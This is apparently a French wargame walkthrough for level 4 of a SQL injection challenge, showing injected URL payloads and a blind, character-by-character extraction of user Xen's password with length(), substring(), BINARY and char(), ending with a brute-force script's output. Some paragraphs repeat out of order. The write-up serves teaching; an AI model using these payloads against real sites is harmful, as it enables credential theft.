SQL Injection Wargame Tutorial :: Level 4
Détails du niveau
But : Exploiter le script du niveau 4 (ici) afin d'obtenir le mot de passe de l'utilisateur "Xen". Le script vulnérable ne sert normalement qu'à afficher, pour un membre identifié par son id, diverses informations comme son emplacement ou le nombre de messages postés.
Structure de table contenant les informations sur les membres :
id - int
username - char
password - char
location - char
post - integer
Configuration de l'interpréteur PHP :
magic_quotes_gpc est activé.
Version MySQL : MySQL 3.x
Le support du mot-clé UNION ne sera donc pas disponible.
Reconaissance
http://www.hackingzone.org/sql/level4/index.php?id=5 OR 1=1 http://www.hackingzone.org/sql/level4/index.php?id=5 OR id=1Ces deux requêtes, qui seraient censées retourner plusieurs résultats, provoquent un message d'erreur de la part de l'application. http://www.hackingzone.org/sql/level4/index.php?id=5456545 OR id=1132425Cette requête, qui serait censée ne retourner aucun résultat, provoque un message d'erreur de la part de l'application. http://www.hackingzone.org/sql/level4/index.php?id=5 OR id=5 http://www.hackingzone.org/sql/level4/index.php?id=5 OR id=344353653Ces deux requêtes, qui seraient censées retourner un seul résultat, affiche bien les infos attendues.
Nous pouvons déduire de ces cinq requêtes qu'un contrôle est fait par l'application sur le nombre de résultats,
et qu'une erreur est déclenchée si ce nombre est différent de 1. http://www.hackingzone.org/sql/level4/index.php?id=ALe fait de générer une requête invalide (comparaison de caractère et d'entier) provoque un "warning" PHP
à propos de la fonction mysql_num_rows(), ce qui confirme nos déductions précédentes :supplied argument is not a valid MySQL result resource in /home/hzone/public_html/sql/level4/index.php on line 22
Donc, nous avons un script où :
- nous ne pouvons pas utiliser le mot-clé UNION et donc ne pouvons donc pas choisir quels champs seront affichés
- nous ne pouvons pas non plus utiliser de quotes ou de guillemets, mais cela ne sera pas très génant (cf. l'utilisation de char() au niveau 2)
Exploitation
Nous allons donc devoir utiliser les critères de recherche sur les chaines pour obtenir des informations sur le mot de passe.
Recherche de la longueur du mot de passe :
http://www.hackingzone.org/sql/level4/index.php?id=5 AND length(password)=3Nous avons une erreur donc le nombre de résultats de la requête est différent de 1
donc la longueur du mot de passe est différente de 3. http://www.hackingzone.org/sql/level4/index.php?id=5 AND length(password)=7Affichage des informations de l'utilisateur "Xen". Son mot de passe comporte donc 7 caractères.
Recherche du premier caractère du mot de passe :
En utilisant la fonction substring() de MySQL, il nous est possible de rechercher un caractère à la fois.
Ceci permet de diminuer très fortement le nombre d'essais à effectuer.
De plus, les comparaisons de chaine étant par défaut non sensibles à la casse sous MySQL, nous allons forcer
le comportement inverse grâce à l'opérateur BINARY.
http://www.hackingzone.org/sql/level4/index.php?id=5 AND substring(password,3,1) like binary char(32)Nous avons une erreur donc le troisième caractère du mot de passe de l'utilisateur Xen n'est pas " ".
Si nous voulons rechercher parmi l'ensemble des caractères imprimables en ASCII, nous allons tester
les codes 32 à 126, ce qui fait au maximum (126 - 32) x 7 = 658 essais.
Il faut donc automatiser cela, en utilisant par exemple ce script.
Script de recherche du mot de passe :
En utilisant la fonction substring() de MySQL, il nous est possible de rechercher un caractère à la fois.
Ceci permet de diminuer très fortement le nombre d'essais à effectuer.
De plus, les comparaisons de chaine étant par défaut non sensibles à la casse sous MySQL, nous allons forcer
le comportement inverse grâce à l'opérateur BINARY.
Fin du concours ....
http://www.hackingzone.org/sql/level4/index.php?id=5 AND substring(password,3,1) like binary char(32)Nous avons une erreur donc le troisième caractère du mot de passe de l'utilisateur Xen n'est pas " ".
Si nous voulons rechercher parmi l'ensemble des caractères imprimables en ASCII, nous allons tester
les codes 32 à 126, ce qui fait au maximum (126 - 32) x 7 = 658 essais.
Il faut donc automatiser cela, en utilisant par exemple ce script.
- Exemple d'utilisation :
nicob@bobby:~/warsql/ > ./level4.pl .................[49]..................[50]................................................... .........................[108]................................................................ ...............[111].......................................................................... ............[118].....................................................................[101]... ................[51] The password is "12love3" !